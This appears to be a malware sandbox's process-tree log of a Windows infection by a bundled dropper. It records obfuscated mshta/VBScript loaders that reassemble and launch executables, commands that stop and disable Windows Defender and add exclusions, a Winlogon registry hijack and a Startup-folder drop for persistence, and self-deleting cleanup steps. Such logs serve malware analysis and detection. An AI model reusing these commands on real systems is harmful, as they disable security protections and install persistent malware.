C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue161bd708d12e5.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "" =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue161bd708d12e5.exe" ) do taskkill -F /iM "%~nXE"8⤵PID:4068
-
C:\Users\Admin\AppData\Local\Temp\fkKCS.exefkKCS.EXE -P_3FA3g8_0NB9⤵
- Executes dropped EXE
PID:5528 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBScrIPt: ClOse ( CrEATeobjEct ( "wScRipt.SHELl").run ( "CMd /C tYpe ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe""> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If ""-P_3FA3g8_0NB "" == """" for %E In ( ""C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"" ) do taskkill -F /iM ""%~nXE"" ", 0, True ) )10⤵PID:5656
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe"> fkKCS.exe&& StarT fkKCS.EXE -P_3FA3g8_0NB & If "-P_3FA3g8_0NB " =="" for %E In ( "C:\Users\Admin\AppData\Local\Temp\fkKCS.exe" ) do taskkill -F /iM "%~nXE"11⤵PID:5848
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt: ClOSE( cREaTEOBjEcT ("wSCript.sheLl").RUN ( "Cmd.eXE /c echo N%TIme%O>VPZp.II & EChO | set /p = ""MZ"" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST + ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS " ,0 , TRUe ) )10⤵PID:3712
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo N%TIme%O>VPZp.II & EChO | set /p = "MZ" > KL6F.Aa_ &cOpY /y /B kL6F.AA_+LAQIL0YY.POg + vCTGFFAM.2ST+ ip~Q0M_L.i + IfY08H17.9LD + 1cQMG.2 + VpZp.II PUA9.FS & sTaRT msiexec.exe /Y .\pUA9.FS11⤵PID:856
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "12⤵PID:1692
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" set /p = "MZ" 1>KL6F.Aa_"12⤵PID:4964
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec.exe /Y .\pUA9.FS12⤵
- Loads dropped DLL
PID:3148
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F /iM "Tue161bd708d12e5.exe"9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5572
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1604aa7d34a61a5b.exe5⤵PID:4980
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1604aa7d34a61a5b.exeTue1604aa7d34a61a5b.exe6⤵
- Executes dropped EXE
PID:3636
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1647cedf7bf133.exe5⤵PID:3424
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue1647cedf7bf133.exeTue1647cedf7bf133.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2896
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue162f02d7b75a1d.exe5⤵PID:4376
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue162f02d7b75a1d.exeTue162f02d7b75a1d.exe6⤵
- Executes dropped EXE
PID:3188 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3188 -s 2967⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:5664
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue160598ce8b05.exe5⤵
- Suspicious use of WriteProcessMemory
PID:3376
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1576 -s 5565⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5044
-
-
-
-
-
C:\Windows\SysWOW64\control.exe"C:\Windows\SysWOW64\control.exe"2⤵PID:6256
-
C:\Windows\SysWOW64\cmd.exe/c del "C:\Users\Admin\Pictures\Adobe Films\lnVaeZE8zGv_bNi1VqiSXJtV.exe"3⤵PID:6456
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\SysWOW64\cmd.exe"2⤵PID:6384
-
-
C:\Users\Admin\AppData\Local\Temp\B95F.exeC:\Users\Admin\AppData\Local\Temp\B95F.exe2⤵PID:5372
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5372 -s 2763⤵
- Program crash
PID:1588
-
-
-
C:\Users\Admin\AppData\Local\Temp\FC26.exeC:\Users\Admin\AppData\Local\Temp\FC26.exe2⤵
- Executes dropped EXE
PID:5948
-
-
C:\Users\Admin\AppData\Local\Temp\1FBC.exeC:\Users\Admin\AppData\Local\Temp\1FBC.exe2⤵PID:7896
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7896 -s 2723⤵
- Program crash
PID:7540
-
-
-
C:\Users\Admin\AppData\Local\Temp\614B.exeC:\Users\Admin\AppData\Local\Temp\614B.exe2⤵PID:4784
-
C:\Users\Admin\AppData\Local\Temp\614B.exeC:\Users\Admin\AppData\Local\Temp\614B.exe3⤵
- Loads dropped DLL
PID:4044
-
-
-
C:\Users\Admin\AppData\Local\Temp\91D1.exeC:\Users\Admin\AppData\Local\Temp\91D1.exe2⤵PID:4048
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4048 -s 2763⤵
- Program crash
PID:8080
-
-
-
C:\Users\Admin\AppData\Local\Temp\154B.exeC:\Users\Admin\AppData\Local\Temp\154B.exe2⤵PID:1804
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 2963⤵
- Program crash
PID:2340
-
-
-
C:\Users\Admin\AppData\Local\Temp\8982.exeC:\Users\Admin\AppData\Local\Temp\8982.exe2⤵PID:7988
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7988 -s 2763⤵
- Program crash
PID:4552
-
-
-
C:\Users\Admin\AppData\Local\Temp\99CF.exeC:\Users\Admin\AppData\Local\Temp\99CF.exe2⤵PID:4820
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:6192
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:2032
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:5036
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:1016
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.youtube.com3⤵PID:5444
-
-
C:\Users\Admin\AppData\Local\Temp\99CF.exeC:\Users\Admin\AppData\Local\Temp\99CF.exe3⤵PID:7944
-
-
-
C:\Users\Admin\AppData\Local\Temp\7645.exeC:\Users\Admin\AppData\Local\Temp\7645.exe2⤵PID:5084
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /release3⤵PID:4124
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV14⤵PID:5188
-
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /release4⤵
- Gathers network information
PID:4216
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:6076
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Loads dropped DLL
- Runs ping.exe
PID:6788
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:5652
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:3388
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:7600
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:2856
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:8028
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:4768
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ping twitter.com3⤵PID:6276
-
C:\Windows\SysWOW64\PING.EXE"C:\Windows\system32\PING.EXE" twitter.com4⤵
- Runs ping.exe
PID:1584
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ipconfig /renew3⤵PID:6228
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\system32\ipconfig.exe" /renew4⤵
- Gathers network information
PID:7556
-
-
-
C:\Users\Admin\AppData\Local\Temp\7645.exeC:\Users\Admin\AppData\Local\Temp\7645.exe3⤵PID:7208
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7208 -s 8684⤵
- Program crash
PID:6148
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\92C7.exeC:\Users\Admin\AppData\Local\Temp\92C7.exe2⤵PID:1312
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"3⤵PID:7296
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Local\chromedrlver.exe,"4⤵PID:4672
-
-
-
C:\Users\Admin\AppData\Local\chromedrlver.exe"C:\Users\Admin\AppData\Local\chromedrlver.exe"3⤵PID:824
-
C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"4⤵PID:7680
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\B600.exeC:\Users\Admin\AppData\Local\Temp\B600.exe2⤵PID:6544
-
C:\Users\Admin\AppData\Local\Temp\2be055a5-1e4d-4b31-85aa-d116d12f2033\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\2be055a5-1e4d-4b31-85aa-d116d12f2033\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\2be055a5-1e4d-4b31-85aa-d116d12f2033\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:2884
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2be055a5-1e4d-4b31-85aa-d116d12f2033\test.bat"4⤵PID:7396
-
-
-
C:\Users\Admin\AppData\Local\Temp\d7d311b6-a156-4948-8831-f7d1f869028c\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\d7d311b6-a156-4948-8831-f7d1f869028c\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\d7d311b6-a156-4948-8831-f7d1f869028c\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:4744
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\d7d311b6-a156-4948-8831-f7d1f869028c\test.bat"4⤵PID:7176
-
C:\Windows\system32\sc.exesc stop windefend5⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1524
-
-
C:\Windows\system32\sc.exesc config windefend start= disabled5⤵PID:5404
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B600.exe" -Force3⤵PID:7300
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B600.exe" -Force3⤵PID:7480
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B600.exe" -Force3⤵PID:6872
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:3596
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force3⤵PID:716
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B600.exe" -Force3⤵PID:7668
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe"3⤵PID:7172
-
C:\Users\Admin\AppData\Local\Temp\67f1815f-8976-4d58-8d1d-572b44e7bc66\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\67f1815f-8976-4d58-8d1d-572b44e7bc66\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\67f1815f-8976-4d58-8d1d-572b44e7bc66\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:1220
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\67f1815f-8976-4d58-8d1d-572b44e7bc66\test.bat"5⤵PID:6944
-
-
-
C:\Users\Admin\AppData\Local\Temp\711f9309-f100-4910-9d06-0a9e241dc105\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\711f9309-f100-4910-9d06-0a9e241dc105\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\711f9309-f100-4910-9d06-0a9e241dc105\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run4⤵PID:3620
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\711f9309-f100-4910-9d06-0a9e241dc105\test.bat"5⤵PID:4348
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:4508
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2784
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4508 -s 22965⤵
- Program crash
PID:6252
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:2884
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:6600
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:4520
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4520 -s 22725⤵
- Program crash
PID:6216
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:1536
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1536 -s 22525⤵
- Program crash
PID:1500
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force4⤵PID:8164
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8164 -s 22405⤵
- Program crash
PID:6548
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe" -Force4⤵PID:3720
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵PID:6588
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵PID:2788
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\B600.exe" -Force3⤵PID:6624
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Windows\Cursors\veejays\svchost.exe" -Force3⤵
- Blocklisted process makes network request
PID:2568
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵PID:4356
-
-
-
C:\Users\Admin\AppData\Local\Temp\E90.exeC:\Users\Admin\AppData\Local\Temp\E90.exe2⤵PID:580
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 580 -s 4723⤵
- Program crash
PID:5688
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 580 -s 4803⤵
- Program crash
PID:7528
-
-
-
C:\Users\Admin\AppData\Local\Temp\366D.exeC:\Users\Admin\AppData\Local\Temp\366D.exe2⤵PID:1436
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 2763⤵
- Program crash
PID:2168
-
-
-
C:\Program Files (x86)\Tmfltiz\4h-plvvh6t.exe"C:\Program Files (x86)\Tmfltiz\4h-plvvh6t.exe"2⤵PID:2876
-
-
C:\Users\Admin\AppData\Local\Temp\9BB4.exeC:\Users\Admin\AppData\Local\Temp\9BB4.exe2⤵PID:7904
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7904 -s 2963⤵
- Program crash
PID:1012
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue160598ce8b05.exeTue160598ce8b05.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3784 -
C:\Users\Admin\AppData\Roaming\3677026.exe"C:\Users\Admin\AppData\Roaming\3677026.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5476
-
-
C:\Users\Admin\AppData\Roaming\3628421.exe"C:\Users\Admin\AppData\Roaming\3628421.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5988
-
-
C:\Users\Admin\AppData\Roaming\7834874.exe"C:\Users\Admin\AppData\Roaming\7834874.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5180
-
-
C:\Users\Admin\AppData\Roaming\3551538.exe"C:\Users\Admin\AppData\Roaming\3551538.exe"2⤵
- Executes dropped EXE
PID:3928 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Roaming\3551538.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Roaming\3551538.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))3⤵PID:5668
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Roaming\3551538.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Roaming\3551538.exe" ) do taskkill -f -Im "%~NXZ"4⤵PID:5688
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i5⤵PID:5220
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))6⤵PID:3648
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"7⤵PID:6040
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )6⤵PID:5056
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *7⤵PID:5176
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"8⤵PID:1636
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "8⤵PID:1548
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K8⤵PID:5936
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K9⤵
- Loads dropped DLL
PID:1040 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K10⤵PID:2804
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K11⤵
- Loads dropped DLL
PID:2916
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "3551538.exe"5⤵
- Kills process with taskkill
PID:5428
-
-
-
-
-
C:\Users\Admin\AppData\Roaming\3678930.exe"C:\Users\Admin\AppData\Roaming\3678930.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:3076 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"3⤵
- Executes dropped EXE
PID:5000
-
-
-
C:\Users\Admin\AppData\Roaming\1708477.exe"C:\Users\Admin\AppData\Roaming\1708477.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1236
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 1576 -ip 15761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4880
-
C:\Users\Admin\AppData\Local\Temp\is-IPH7D.tmp\Tue16937a015b8e.tmp"C:\Users\Admin\AppData\Local\Temp\is-IPH7D.tmp\Tue16937a015b8e.tmp" /SL5="$2020C,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0C360EA4\Tue16937a015b8e.exe" /SILENT1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4696
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Loads dropped DLL
PID:5876 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5876 -s 4202⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:6048
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5840
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 3052 -ip 30521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5948
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5876 -ip 58761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6020
-
C:\Windows\System32\WaaSMedicAgent.exeC:\Windows\System32\WaaSMedicAgent.exe c6ad3ac0a47e8760d5f2ed35a33851d7 yRwM/6rXiUCZnD3IOsWeRg.0.1.0.3.01⤵
- Modifies data under HKEY_USERS
PID:6128
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3168 -ip 31681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4048
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 3188 -ip 31881⤵
